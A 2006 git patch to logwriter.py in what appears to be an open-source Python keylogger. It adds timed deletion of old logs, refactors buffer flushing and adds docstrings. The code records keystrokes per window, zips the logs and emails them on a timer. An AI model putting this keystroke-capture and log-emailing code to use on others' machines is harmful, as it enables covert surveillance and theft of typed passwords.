From 87eb59621c8a5892bfd20be16edafd2aa94d395f Mon Sep 17 00:00:00 2001 From: nanotube Date: Thu, 20 Jul 2006 06:15:34 +0000 Subject: [PATCH] add deletion of old logfiles feature refactor some code for cleanliness --- logwriter.py | 117 +++++++++++++++++++++++++++++++++------------------ 1 file changed, 77 insertions(+), 40 deletions(-) diff --git a/logwriter.py b/logwriter.py index 65110b7..5dd4b49 100644 --- a/logwriter.py +++ b/logwriter.py @@ -3,10 +3,11 @@ import os, os.path import time import re import sys -#from threading import Timer + +# needed for automatic timed recurring events import mytimer -#the following are needed for zipping the logfiles +# the following are needed for zipping the logfiles import zipfile import zlib @@ -19,11 +20,11 @@ from email.Utils import COMMASPACE, formatdate from email import Encoders class LogWriter: - + '''Manages the writing of log files and logfile maintenance activities. + ''' def __init__(self, settings): self.settings = settings - self.settings['dirname'] = os.path.normpath(self.settings['dirname']) try: @@ -49,15 +50,9 @@ class LogWriter: self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") except: self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") - - # we only want to initalize the timer once, and then only AFTER we have some file opened to self.log - # so this will be our "one time use" flag - self.flushTimerInitialized = False - #~ if not self.options.debug: #if we are not running debug and thus can see console, let's redirect stderr to errorlog. - #~ self.errorlog = open(os.path.join(self.options.dirName, "errorlog.txt"), 'a') - #~ self.savestderr = sys.stderr #save stderr just in case we want to restore it later - #~ sys.stderr = self.errorlog + # initialize self.log to None, so that we dont attempt to flush it until it exists + self.log = None # Set up the subset of keys that we are going to log self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape @@ -68,11 +63,23 @@ class LogWriter: if self.settings['parseescape'] == 'True': self.asciiSubset.remove(27) #remove escape from allowed chars if needed - # initialize the automatic zip and email timer - self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60, 0, self.ZipAndEmailTimerAction) - self.emailtimer.start() + # initialize the automatic zip and email timer, if enabled in .ini + if self.settings['smtpsendemail'] == 'True': + self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60, 0, self.ZipAndEmailTimerAction) + self.emailtimer.start() + + # initialize automatic old log deletion timer + if self.settings['deleteoldlogs'] == 'True': + self.oldlogtimer = mytimer.MyTimer(float(self.settings['agecheckinterval'])*60*60, 0, self.DeleteOldLogs) + self.oldlogtimer.start() + + # initialize the automatic log flushing timer + self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"]) + self.flushtimer.start() def WriteToLogFile(self, event): + '''Write keystroke specified in "event" object to logfile + ''' loggable = self.TestForNoLog(event) # see if the program is in the no-log list. if not loggable: @@ -83,12 +90,6 @@ class LogWriter: loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems - #start our autoflush timer, since a log file has been opened at this point, for the first time - if loggable and self.flushTimerInitialized == False: - self.flushTimerInitialized = True - self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers) - self.flushtimer.start() - if not loggable: self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n") return @@ -112,8 +113,7 @@ class LogWriter: self.PrintStuff('[KeyName:' + event.Key + ']') if event.Key == self.settings['flushkey']: - self.log.flush() - if self.settings['systemlog'] != 'None': self.systemlog.flush() + self.FlushLogWriteBuffers("Flushing write buffers due to keyboard command\n") def TestForNoLog(self, event): '''This function returns False if the process name associated with an event @@ -126,19 +126,26 @@ class LogWriter: return False return True - def FlushLogWriteBuffers(self): - self.PrintDebug("flushing file write buffer due to timer\n") - self.log.flush() + def FlushLogWriteBuffers(self, logstring=""): + '''Flush the output buffers and print a message to systemlog or stdout + ''' + self.PrintDebug(logstring) + if self.log != None: self.log.flush() if self.settings['systemlog'] != 'None': self.systemlog.flush() def ZipLogFiles(self): + '''Create a zip archive of all files in the log directory. + ''' + self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n") + os.chdir(self.settings['dirname']) myzip = zipfile.ZipFile(self.settings['ziparchivename'], "w", zipfile.ZIP_DEFLATED) + for root, dirs, files in os.walk(os.curdir): for fname in files: if fname != self.settings['ziparchivename']: myzip.write(os.path.join(root,fname).split("\\",1)[1]) - # myzip.write(fname) + myzip.close() myzip = zipfile.ZipFile(self.settings['ziparchivename'], "r", zipfile.ZIP_DEFLATED) if myzip.testzip() != None: @@ -146,12 +153,8 @@ class LogWriter: myzip.close() def SendZipByEmail(self): - - #def sendMail(to, fro, subject, text, files=[],server="localhost"): - #~ assert type(to)==list - #~ assert type(files)==list - #fro = "Expediteur " - + '''Send the zipped logfile archive by email, using mail settings specified in the .ini file + ''' # set up the message msg = MIMEMultipart() msg['From'] = self.settings['smtpfrom'] @@ -181,14 +184,16 @@ class LogWriter: mysmtp.quit() def ZipAndEmailTimerAction(self): + '''This is a timer action function that zips the logs and sends them by email. + ''' self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n") - self.log.flush() - if self.settings['systemlog'] != 'None': self.systemlog.flush() self.ZipLogFiles() self.SendZipByEmail() def OpenLogFile(self, event): - + '''Open the appropriate log file, depending on event properties and settings in .ini file. + ''' + # if the "onefile" option is set, we don't that much to do: if self.settings['onefile'] != 'None': if self.writeTarget == "": self.writeTarget = os.path.join(os.path.normpath(self.settings['dirname']), os.path.normpath(self.settings['onefile'])) @@ -207,6 +212,7 @@ class LogWriter: self.PrintDebug("writing to: " + self.writeTarget + "\n") return True + # if "onefile" is not set, we start playing with the logfilenames: subDirName = self.filter.sub(r'__',self.processName) #our subdirname is the full path of the process owning the hwnd, filtered. WindowName = self.filter.sub(r'__',str(event.WindowName)) @@ -228,8 +234,9 @@ class LogWriter: #already-opened file. if self.writeTarget != os.path.join(self.settings['dirname'], subDirName, filename): if self.writeTarget != "": - self.PrintDebug("flushing and closing old log\n") - self.log.flush() + self.FlushLogWriteBuffers("flushing and closing old log\n") + #~ self.PrintDebug("flushing and closing old log\n") + #~ self.log.flush() self.log.close() self.writeTarget = os.path.join(self.settings['dirname'], subDirName, filename) self.PrintDebug("writeTarget:" + self.writeTarget + "\n") @@ -261,19 +268,40 @@ class LogWriter: return True def PrintStuff(self, stuff): + '''Write stuff to log, or to debug outputs. + ''' if not self.settings['debug']: self.log.write(stuff) else: self.PrintDebug(stuff) def PrintDebug(self, stuff): + '''Write stuff to console and/or systemlog. + ''' if self.settings['debug']: sys.stdout.write(stuff) if self.settings['systemlog'] != 'None': self.systemlog.write(stuff) + def DeleteOldLogs(self): + '''Walk the log directory tree and remove any logfiles older than maxlogage (as set in .ini). + ''' + self.PrintDebug("Analyzing and removing old logfiles.\n") + for root, dirs, files in os.walk(self.settings['dirname']): + for fname in files: + if time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['maxlogage'])*24*60*60: + try: + os.remove(os.path.join(root,fname)) + except: + self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") + try: + os.rmdir(root) + except: + self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") + def GetProcessNameFromHwnd(self, hwnd): - + '''Acquire the process name from the window handle for use in the log filename. + ''' threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd) # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF) @@ -282,11 +310,20 @@ class LogWriter: procname = win32process.GetModuleFileNameEx(mypyproc, 0) return procname + def stop(self): + '''To exit cleanly, flush all write buffers, and stop all running timers. + ''' + self.FlushLogWriteBuffers("Flushing buffers prior to exiting") + self.flushtimer.cancel() + if self.settings['smtpsendemail'] == 'True': + self.emailtimer.cancel() + if self.settings['deleteoldlogs'] == 'True': + self.oldlogtimer.cancel() if __name__ == '__main__': #some testing code #put a real existing hwnd into event.Window to run test - #this testing code is now really outdated. + #this testing code is now really outdated and useless. lw = LogWriter() class Blank: pass -- 2.45.1